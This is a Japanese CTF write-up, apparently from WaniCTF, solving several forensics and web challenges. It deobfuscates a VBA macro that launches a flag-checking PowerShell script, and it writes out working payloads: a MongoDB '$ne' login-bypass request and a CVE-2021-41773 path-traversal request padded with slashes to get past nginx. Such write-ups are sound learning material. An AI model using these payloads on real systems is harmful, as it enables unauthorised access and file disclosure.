    unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
    unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
    unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
    unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
    unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
    unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
    unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
    filename = ActiveWorkbook.Path & "\data.txt"

    Open filename For Append As #1
        Print #1, str1
        Print #1, str2
    Close #1

End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then Err.Raise vbObjectError, , ""
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then Err.Raise vbObjectError, , ""
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
   End Function
Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
   End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
   End Function
Private Function unxor(ciphertext As Variant, start As Integer)
    Dim cleartext As String
    Dim key() As Byte
    key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    For i = LBound(ciphertext) To UBound(ciphertext)
        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
    Next
    unxor = cleartext
End Function

出力結果は次のPowershellスクリプトになった。

powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

難読化されているように見えるが、Base64の亜種である。復号すると次のPowershellスクリプトになる。

.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()

一番先頭の.('ieX')で文字列をコードとして実行させており、これを削除してPowershellで実行すれば復号された文字列がそのまま表示される。

PS > (nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()
echo "Yes, we love VBA!"

$input = Read-Host "Password"

if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}

FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}

sourcemap (Web:Beginner)

へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう...

え? ブラウザの開発者ツールのxxx機能から見れちゃうって!?

https://sourcemap.web.wanictf.org

ソースコードはそのままでは難読化されている。ページを開いて、例えば火狐なら開発ツールのデバッガーからソースファイルを見ると解除されたスクリプトが見える。

Firefoxのデバッガー>ソースファイル

FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}

POST Challenge (Web:Easy)

HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!

https://post.web.wanictf.org/

ほとんどBurpSuiteを使ってリクエストヘッダをGETからPOSTに書き換えて解いた。

配布されるサーバー側のファイルのapp.jsを見ると各チャレンジでflagが出る条件がわかる。まずはチャレンジ1。

app.js /chal/1の抜粋app.post("/chal/1", function (req, res) {
  let FLAG = null;
  if (req.body.data === "hoge") {
    FLAG = process.env.FLAG_PART1;
  }
  res.render("chal", { FLAG, chal: 1 });
});

POST RequestかつRequest Bodyがhogeであること。次のHTTPリクエストで通る。

Challenge1 リクエストヘッダPOST /chal/1 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36

data=hoge

Congratulations! Challenge 1 FLAG: y0u

続いてチャレンジ2

app.js /chal/2の抜粋app.post("/chal/2", function (req, res) {
  // リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信
  let FLAG = null;
  if (
    req.headers["user-agent"].includes("Mozilla/5.0") &&
    req.body.data === "hoge"
  ) {
    FLAG = process.env.FLAG_PART2;
  }
  res.render("chal", { FLAG, chal: 2 });
});

POST RequestかつRequest Bodyのdata変数がhogeであり、かつUser-AgentにMozilla/5.0が入っていれば通る。

Challenge2 リクエストヘッダPOST /chal/2 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

data=hoge

Congratulations! Challenge 2 FLAG: ar3

次はチャレンジ3

app.js /chal/3の抜粋app.post("/chal/3", function (req, res) {
  let FLAG = null;
  if (req.body.data?.hoge === "fuga") {
    FLAG = process.env.FLAG_PART3;
  }
  res.render("chal", { FLAG, chal: 3 });
});

data.hoge変数が必要。次のペイロードで表現できる。

Challenge3 リクエストヘッダPOST /chal/3 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

data[hoge]=fuga

Congratulations! Challenge 3 FLAG: http

次はチャレンジ4

app.js /chal/4の抜粋app.post("/chal/4", function (req, res) {
  let FLAG = null;
  if (req.body.hoge === 1 && req.body.fuga === null) {
    FLAG = process.env.FLAG_PART4;
  }
  res.render("chal", { FLAG, chal: 4 });
});

hogeとfugaの2つの変数が必要。データ形式をJSONに変更して解いてみた。

Challenge4 リクエストヘッダPOST /chal/4 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

{"hoge":1,"fuga":null}

Congratulations! Challenge 4 FLAG: p0st

最後はチャレンジ5

app.js /chal/4の抜粋app.post("/chal/5", function (req, res) {
  let FLAG = null;
  if (req.files?.data?.md5 === md5file("public/images/wani.png")) {
    FLAG = process.env.FLAG_PART5;
  }
  res.render("chal", { FLAG, chal: 5 });
});

アップロードされた画像のMD5ハッシュ値を比較している。対象の画像は配布されている。もうリクエストヘッダを書き換えてやるのは大変なので、チャレンジ5のページをWebブラウザの開発者モードからタグ編集を行ってファイルアップロードする機能を追加して解いた。

次のHTMLをページ中に挿入する。

<form method="POST" action="/5" enctype="multipart/form-data">
    <input type="file" name="data"/><br>
    <input type="submit" value="submit"/>
</form>
Chromeで書き換えたページ

画像をアップロードしてflag入手。

Congratulations! Challenge 5 FLAG: m@ster!

FLAG{y0u_ar3_http_p0st_m@ster!}

NoSQL (Web:Normal)

NoSQLを使ったサイトを作ってみました。ログイン後に/にアクセスすると秘密のページを見ることができます。

https://nosql.web.wanictf.org/

NoSQLインジェクション問題である。配布されるサーバー側のプログラムのlogin.jsのpost部分を確認する。

app/routes/login.jsrouter.post("/", async function (req, res) {
  const client = new MongoClient(uri);
  try {
    if (!req.body.username || !req.body.password) {
      throw "error";
    }

    await client.connect();
    const user = await client.db("nosql").collection("users").findOne({
      username: req.body.username,
      password: req.body.password,
    });
    if (!user) {
      throw "error";
    }

    req.session.user = user;
    res.redirect("/");
  } catch (error) {
    const debug = JSON.stringify({
      username: req.body.username,
      password: req.body.password,
    });
    res.render("login", { message: "ログインに失敗しました", debug });
  } finally {
    client.close();
  }
});

JSON形式でパースされたusernameとpasswordがそのまま入る。NoSQLではここにオブジェクトを入れて様々な条件を与えることができるので、ログイン時のHTTPリクエストを改ざんしてuserが通るようなオブジェクトを送る。

BurpSuiteを使ってログイン時のリクエストを次のものに書き換えた。Cookieの*****の部分はその都度違う内容。

POST /login HTTP/2
Host: nosql.web.wanictf.org
Cookie: connect.sid=**********************************************************************
Content-Length: 45
Cache-Control: max-age=0
Origin: https://nosql.web.wanictf.org
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://nosql.web.wanictf.org/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

{"username":{"$ne":""},"password":{"$ne":""}}

{"$ne":""}によって、usernameとpasswordが""ではないものが選択されるので1つでもデータがあればヒットする。

ログインに成功するとflagが見れる。

FLAG{n0_sql_1nj3ction}

traversal (Web:Hard)

Webサーバーにロードバランサーをつけたよ!

なんかWebサーバーのバージョンがアレらしいけど、秘密のファイル/flag.txtはそのままでいっか!

https://traversal.web.wanictf.org/

ヒント

WebのDockerfileを見るとそこには輝くhttpd:2.4.49の文字が。CVE-2021-41773である。

問題文通りBurpSuiteを使ってリクエストヘッダの1行目のリクエストしたいファイルのアドレスを書き換えてディレクトリトラバーサル攻撃を行う。

ただし、GET /cgi-bin/.%2e/conf/httpd.conf HTTP/2とかやればhttpd.confは見えるが、GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/2を投げてもngnixに400エラーを返されてしまう。

Apacheの脆弱性を狙いたくてもロードバランサーのngnixの時点で不正なリクエストとして処理されてしまうようだ。

調べると( https://dev.classmethod.jp/articles/apache-cve-alb-nginx/ )にngnixを噛ませた場合のCVE-2021-41733再現方法が見つかったので、次のようにリクエストを投げる。

GET /////////cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/2

FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}